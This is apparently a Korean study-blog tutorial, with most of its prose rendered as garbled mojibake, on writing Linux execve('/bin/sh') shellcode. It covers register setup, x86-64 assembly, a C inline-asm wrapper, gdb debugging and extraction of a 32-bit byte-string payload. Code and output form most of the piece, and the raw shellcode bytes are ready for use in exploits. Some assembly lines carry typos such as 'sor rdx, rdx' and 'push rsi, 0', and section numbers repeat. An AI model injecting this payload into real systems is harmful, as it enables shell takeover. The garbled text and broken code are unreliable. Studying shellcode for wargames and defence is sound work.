1.execve ์์ฝ๋
์์ ์ด์์ฒด์ ๋ฅผ ๊ฐ์ธ๊ณ ์๋ ๊ป์ง์ด๋ค.
์ฆ, ์ฌ์ฉ์๊ฐ ์ด์์ฒด์ ์ ๋ช ๋ น์ ๋ด๋ฆฌ๊ธฐ ์ํด ์ฌ์ฉ๋๋ ์ฌ์ฉ์์ ์ธํฐํ์ด์ค๋ก, ์์ ํ๋ํ๋ฉด ์์คํ ์ ์ ์ดํ ์ ์๊ฒ ๋๋ฏ๋ก ํต์์ ์ผ๋ก ์ ธ ํ๋์ ์์คํ ํดํน์ ์ฑ๊ณต์ผ๋ก ์ฌ๊ธฐ๋ ๊ฒ์ด๋ค.
execve ์ ธ์ฝ๋๋ ์์์ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ์์ฝ๋์ธ๋ฐ, ์ด๋ฅผ ์ด์ฉํด์ execve("/bin/sh") ์ ๊ฐ์ ๋ช ๋ น์ด๋ฅผ ์คํ์์ผ ์๋ฒ์ ์์ ํ๋ํ ์ ์๋ค.
//๋ฐ๋ผ์ ๋ค๋ฅธ ์ธ๊ธ์์ด ์ ธ์ฝ๋๋ผ๊ณ ํ๋ฉด ์ด๋ฅผ ์๋ฏธํ๋ ๊ฒฝ์ฐ๊ฐ ๋ง๋ค.
์ต์ ์ ๋ฆฌ๋ ์ค๋ ๋๋ถ๋ถ sh, bash๋ฅผ ๊ธฐ๋ณธ ์ ธ ํ๋ก๊ทธ๋จ์ผ๋ก ํ์ฌํ๊ณ ์์ผ๋ฉฐ, ์ด ์ธ์๋ zsh, tsh ๋ฑ์ ์ ธ์ ์ ์ ๊ฐ ์ค์นํด์ ์ฌ์ฉํ ์ ์๋ค. Ubuntu 22.04์๋ /bin/sh๊ฐ ์กด์ฌํ๋ฏ๋ก, ์ด๋ฅผ ์คํํ๋ execve ์ ธ์ฝ๋๋ฅผ ์์ฑํด๋ณผ ๊ฒ์ด๋ค.
2.execve ์์ฝ๋ ์์ฑ
(1) execve(“/bin/sh”, null, null)
execve ์ ธ์ฝ๋๋ execve ์์คํ ์ฝ๋ง์ผ๋ก ๊ตฌ์ฑ๋๋ค.
syscall | rax | rdi | rsi | rdx |
execve | 0x3b | const char *filename | const char *const *argv | const char *const *envp |
rdi (์ฒซ๋ฒ์งธ ์ธ์)์๋ filname ์ฆ, ์คํํ๊ณ ์ ํ๋ ํ์ผ์ ์ด๋ฆ์ด ๋ค์ด๊ฐ๋ค.
์ฐ๋ฆฌ๋ /bin/sh์ด๋ผ๋ ๋ฌธ์์ด์ ๋ฃ์ด์ ์์ ์คํํ๊ณ ์ ํ ๊ฒ์ด๋ฏ๋ก 7๋ฐ์ดํธ์ ๋ฌธ์๋ฅผ ์ญ์์ผ๋ก rdi์ ๋ฃ์ด์ค๋ค.
/bin/sh์ 2f 62 69 6e 2f 73 68 ์ด๋ฏ๋ก 0x68732f6e69622f ๋ฅผ ๋ฃ์ด์ฃผ๋ ๊ฒ์ด๋ค.
- mov rax, 0x68732f6e69622f
- push rax
- mov rdi, rsp
๋๋ฒ์งธ ์ธ์ rsi์๋ ์คํํ์ผ์ ๋๊ฒจ์ค ์ธ์, ์ธ๋ฒ์งธ ์ธ์ rdx์๋ ํ๊ฒฝ๋ณ์๊ฐ ๋ค์ด๊ฐ์ผ ํ๋ค. ์ด๋ ๊ฐ์ ์ ๋ฌํด์ค ํ์๊ฐ ์๋ค๋ฉด ๋ ๊ฐ ๋ชจ๋ null๋ก ์ค์ ํด๋๋ฉด ๋๋ค.
๊ฐ์ ๋ฃ์ ๊ฒฝ์ฐ ๋ ๋ฐฐ์ด ๋ชจ๋ null๋ก ๋๋์ผ ํ๋ค๋ ๊ฒ์ ์์ง ๋ง์!
+) 0์ ๋ฃ์ ๋์๋ ๋ณดํต ๊ฐ์ฅ ๋น ๋ฅด๊ณ ํจ์จ์ ์ธ ๋ฐฉ๋ฒ์ธ xor ์ฐ์ฐ์ ํ์ฉํจ
push rsi, 0push rdx, 0- xor rsi, rsi
- sor rdx, rdx
์ด ๋ค์์ผ๋ก execve syscall์ ์คํ์ํค๊ธฐ ์ํด์ rax์ execve syscall number์ธ 0x3b๋ฅผ ๋ฃ์ด์ฃผ๋ฉด ๋๋ค.
- push rax, 0x3b
์ข ํฉํด๋ณด๋ฉด ์๋ ์ด์ ๋ธ๋ฆฌ์ด ์ฝ๋๊ฐ ์์ฑ๋๋ค.
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
sor rdx, rdx
mov rax, 0x3b
syscall
3.execve ์ ธ์ฝ๋ ์ปดํ์ผ ๋ฐ ์คํ
์ค์ผ๋ ํค ์ฝ๋๋ฅผ ์ด์ฉํ์ฌ execve ์ ธ์ฝ๋๋ฅผ ์ปดํ์ผํ ๋ค ์คํํด๋ณผ ๊ฒ์ด๋ค.
(1) ํ์ผ ์์ฑ - vim
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
(2) ์ปดํ์ผ ๋ฐ ์คํ
> gcc -o execve execve.c -masm=intel
> ./execve
gcc -o execve execve.c -masm=intel
2.execve ์์ฝ๋ ๋๋ฒ๊น
๋ค์์ผ๋ก๋ ์ฐ๋ฆฌ๊ฐ ๋ง๋ ์ ์ฝ๋๋ฅผ ๋๋ฒ๊น ํด๋ณผ ๊ฒ์ด๋ค.
> gdb execve ๋ช ๋ น์ด๋ฅผ ํตํด gdb๋ฅผ ์คํ์์ผ์ค๋ค.
๊ทธ ๋ค์ ์์ด ์คํํ๋ ๋ถ๋ถ์ธ run_sh()์ bp๋ฅผ ๊ฑธ์ด์ค๋ค
> b *run_sh
> r
execve syscall ์ด ์คํ๋๊ธฐ ์ง์ ์ธ run_sh+27์ bp๋ฅผ ๊ฑธ์ด์ค ๋ค ์คํํ๋ค.
> b *run_sh+27
> c
execve(“/bin/sh”, null, null) ํจ์๋ ์ฒซ๋ฒ์งธ ์ธ์์ ์คํํ ํ์ผ์ ์ด๋ฆ์ ์ ๋ฌํ๋ค.
๋ฐ๋ผ์ rdi๋ฅผ ๋ณด๋ฉด 0x68732f6e69622f ์ฆ, /bin/sh ๋ฌธ์์ด์ด ์ ์ฅ๋ ๊ฒ์ ์ ์ ์๋ค.
์ด๋ x/s ๋ช ๋ น์ด๋ฅผ ํตํด rdi๊ฐ์ ์ถ๋ ฅํด๋ณด์์ ๋์๋ ๋์ผํ๊ฒ ํ์ธํ ์ ์๋ค.
ni ๋ช ๋ น์ด๋ฅผ ์คํํ๋ฉด /bin/sh์ด ์คํ๋๋ ๊ฒ์ ํ์ธํ ์ ์๋ค.
++) ์๋ฌ๋ gcc ์ปดํ์ผ๋ฌ๋ก ์ปดํ์ผ ํ ๋ -g ์ต์ ์ ์ฃผ์ง ์์๊ธฐ ๋๋ฌธ์ ๋ฐ์ํ๋ ๊ฒ ๊ฐ์์ ์์ ํ์๊ณ , ์ฌ๋ณผ ํ ์ด๋ธ์ด๋ bp์ ๊ด๋ จ๋ ์๋ฌ๋ bp๋ฅผ ์ค์ ํ์ง ์์ผ๋ฉด ๋ฐ์ํ์ง ์๋๋ค. ์๋ฌ์ ์ ํํ ์์ธ์ ์ ๋ชจ๋ฅด๊ฒ ๋ค..
3. objdump ๋ฅผ ์ด์ฉํ shellcode ์ถ์ถ
objdump๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ, ์ปดํ์ผ๋ ์ค๋ธ์ ํธ ๋ชจ๋, ๊ณต์ ์ค๋ธ์ ํธ ํ์ผ, ๋ ๋ฆฝ ์คํํ์ผ ๋ฑ์ ๋ฐ์ด๋๋ฆฌ ํ์ผ๋ค์ ์ ๋ณด๋ฅผ ๋ณด์ฌ์ฃผ๋ ํ๋ก๊ทธ๋จ์ด๋ค. bjdump๋ ELF ํ์ผ์ ์ด์ ๋ธ๋ฆฌ์ด๋ก ๋ณด์ฌ์ฃผ๋ ๋์ค์ด์ ๋ธ๋ฌ๋ก๋ ์ฌ์ฉ๋ ์ ์๋ค.
๋ฐ๋ผ์ ์์ฑํ shellcode๋ฅผ objdump๋ฅผ ์ด์ฉํด์ byte code(opcode)์ ํํ๋ก ์ถ์ถํ ์ ์๋ค.
๋จผ์ ์์ฑํ ์ ์ฝ๋๋ฅผ asm ํ์์ผ๋ก ์ ์ฅํ ๊ฒ์ด๋ค.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
๋ค์์ผ๋ก ํ์ํ ํ์ผ๋ค์ ์ค์นํด์ค ๋ค, ์๋ ๋ช ๋ น์ด๋ฅผ ์ ๋ ฅํ๋ฉด ์ค๋ธ์ ํธ ํ์ผ์ธ shellcode.o๋ฅผ ์ป์ ์ ์๋ค.
๋ค์์ผ๋ก objcopy ๋ช ๋ น์ด๋ฅผ ์ด์ฉํ๋ฉด shellcode.bin ํ์ผ์ ์ป์ ์ ์๋ค.
๊ทธ ๋ค์,
xxd ๋ช ๋ น์ด๋ก shellcode.bin ํ์ผ์ ๋ด์ฉ์ ๋ฐ์ดํธ ๊ฐ๋ค์ 16์ง์ ํํ๋ก ํ์ธํ ์ ์๋ค.
์ด๋ ๊ฒ ์ถ์ถํ 16์ง์์ ๋ฐ์ดํธ๊ฐ๋ค์ ํตํด ๋ฐ์ดํธ ํํ์ ์ ์ฝ๋๋ฅผ ๋ง๋ค ์ ์๋ค.
# execve /bin/sh shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80